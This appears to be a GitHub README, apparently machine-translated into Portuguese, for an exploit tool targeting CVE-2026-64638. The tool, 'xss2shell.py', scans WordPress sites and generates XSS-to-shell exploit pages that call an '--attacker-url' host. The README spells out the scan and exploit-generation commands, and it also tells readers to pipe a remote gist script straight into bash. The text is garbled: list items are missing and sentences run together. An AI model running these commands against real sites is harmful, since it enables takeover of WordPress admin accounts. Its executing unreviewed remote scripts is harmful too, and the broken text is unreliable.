horkimhab/cve-2026-64638CVE-2026-64638 - Rascunho ou TODO
Apoie a manutenção deste projeto com PayPal ou escaneando o código QR abaixo.
Use este projeto apenas em ambientes seguros e autorizados, como:
Exemplo de configuração:
git clone <repository-url>
cd <repository-name>
# Project use python follow below
# Create a virtual environment
python -m venv venv
# Activate the virtual environment
# macOS / Linux
source venv/bin/activate
# Windows (Git Bash / WSL)
source venv/Scripts/activate
# Install requirments
pip install -r requirements.txt
Exemplo de uso:
# 1. Scanning Mode - Detect Vulnerable WordPress Sites:
# Scan a single URL
python xss2shell.py scan http://wp-vm.local
# Scan targets from file (one URL per line)
python xss2shell.py scan targets.txt
# Scan with custom settings
python xss2shell.py scan targets.txt --workers 10 --output my_results.json
# 2. Exploit Generation Mode - Create Exploit HTML Files
# Generate exploit for single target
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local
# Generate exploits for multiple targets from file
python xss2shell.py exploit targets.txt --attacker-url http://attacker-vm.local --output-dir exploits/
# Specify admin username
python xss2shell.py exploit http://wp-vm.local --attacker-url http://attacker-vm.local --admin-user administrator
Nota:
curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y para limpar o diretório aninhado .gitUm repositório para aprender, testar e pesquisar conceitos de segurança cibernética em ambientes controlados.
Este repositório é apenas para pesquisa de segurança educacional e autorizada.
Ele foi projetado para ajudar os usuários a aprender sobre:
Use este repositório apenas em ambientes onde você tenha permissão, como:
O uso não autorizado ou ilegal é estritamente proibido.
O autor e os colaboradores não são responsáveis por quaisquer danos, uso indevido, problemas legais ou perdas causados por este projeto.
Ao usar este repositório, você concorda que:
Este projeto destina-se a:
Por favor, siga práticas de divulgação responsável e cumpra todas as leis aplicáveis.
Para divulgação responsável ou colaboração, entre em contato com o mantenedor do repositório através do GitHub.